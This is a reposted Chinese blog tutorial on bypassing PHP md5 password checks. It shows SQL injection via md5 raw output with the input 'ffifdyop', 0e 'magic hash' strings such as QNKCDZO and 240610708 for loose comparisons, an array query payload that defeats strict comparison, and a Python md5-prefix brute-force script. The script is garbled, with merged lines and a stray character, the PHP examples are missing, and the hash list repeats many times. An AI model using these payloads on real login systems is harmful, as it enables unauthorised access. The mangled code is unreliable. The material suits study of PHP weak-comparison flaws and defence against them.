php mysql 绕过_PHP中md5绕过
一、md5($password,true)的SQL注入問題
這里要提到一下MySQL中的數值比較問題。
1、當數字和字符串比較時,若字符串的數字部分(需要從頭開始)和數字是相同的,那么則返回的是true。
select if(1="1abcd","等于","不等于") as test;
if(exp1,stat1,stat2)類似于高級語言中三元運算符。當exp1為true的是否返回stat1,為false返回stat2。
2、以數字開頭的字符串,若開頭的字符不是0,那么在做邏輯運算的時候返回的是1,也就是true。
select * from user where password =‘‘or‘1234a‘;
看一下這個php md5($pass,true) 的漏洞:
select * from user where password = md5($pass,true);
可以看到這里的raw參數是True,為返回原始16字符二進制格式。
也就是說當md5函數的第二個參數為true時,該函數的輸出是原始二進制格式,會被作為字符串處理。
如果構造一個‘or‘xxx‘的密碼,只要后面的字符串為真即可。那么可以根據32位16進制的字符串來查找,‘or‘對應的16進制是276f7227,所以我們的目標就是要找一個字符串,取32位16進制的md5值里帶有276f7227這個字段的,在276f7227這個字段后面緊跟一個數字(除了0)1-9,對應的asc碼值是49-57,轉化為16進制就是31-39,也就是含有276f7227+(31-39)這個字段,就可以滿足要求。
則拼接后構成的SQL語句為:
select * from user where password=‘‘or‘1asodijfoi‘;
select * from user where password=‘‘or‘1abcdefg‘ ---> True
select * from user where password=‘‘or‘0abcdefg‘ ---> False
select * from user where password=‘‘or‘1‘ ---> True
select * from user where password=‘‘or‘2‘ ---> True
select * from user where password=‘‘or‘0‘ ---> False
只要‘or‘后面的字符串為一個非零的數字開頭都會返回True,這就是我們的突破點。
目前只知道用這個字符串?ffifdyop具體怎么來的,目前腳本還在研究中。
二、兩變量值不相等,md5計算散列值后相等的繞過
==的繞過
PHP中==是判斷值是否相等,若兩個變量的類型不相等,則會轉化為相同類型后再進行比較。
PHP在處理哈希字符串的時候,它把每一個以0e開頭的哈希值都解析為0。
注意:==號相等必須滿足0e后面全是數字,若存在字母則不行。
}
}?>
常見的如下:
在md5加密后以0E開頭
QNKCDZO
240610708
s878926199a
s155964671a
===的繞過
===會比較類型,這個時候可以用到PHP中md5()函數無法處理數組(會返回NULL)來實現繞過。
}
}?>
payload: /?a[]=1&b[]=2 (上面==的例子也可以用數組繞過)
三、MD5碰撞
腳本:
#-*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
importstringimport sys
CHARS= string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
globalCHARSwhile not stop_event.is_set():rnds= ‘‘.join(random.choice(CHARS) for _ in range(size))md5 = hashlib.md5(rnds)
value= md5.hexdigest()if value[start: start+str_len] == substr:
printrnds
stop_event.set()‘‘‘#碰撞雙md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n"
stop_event.set()‘‘‘
if __name__ == ‘__main__‘:
substr = sys.argv[1].strip()
start_pos= int(sys.argv[2]) if len(sys.argv) > 1 else 0str_len= len(substr)
cpus= multiprocessing.cpu_count()
stop_event= multiprocessing.Event()
processes= [multiprocessing.Process(target=cmp_md5, args=(substr,stop_event, str_len,start_pos))for i in range(cpus)]for p in processes:p.start()for p in processes:p.join()
還有MD5和雙MD5以后的值都是0e開頭的
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
正常0e開頭:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
原文:https://www.cnblogs.com/du1ge/p/13812118.html
總結
以上是生活随笔為你收集整理的php mysql 绕过_PHP中md5绕过的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 收件服务器信息,收件服务器配置信息
- 下一篇: 王者荣耀服务器未响应8月5日苹果,王者荣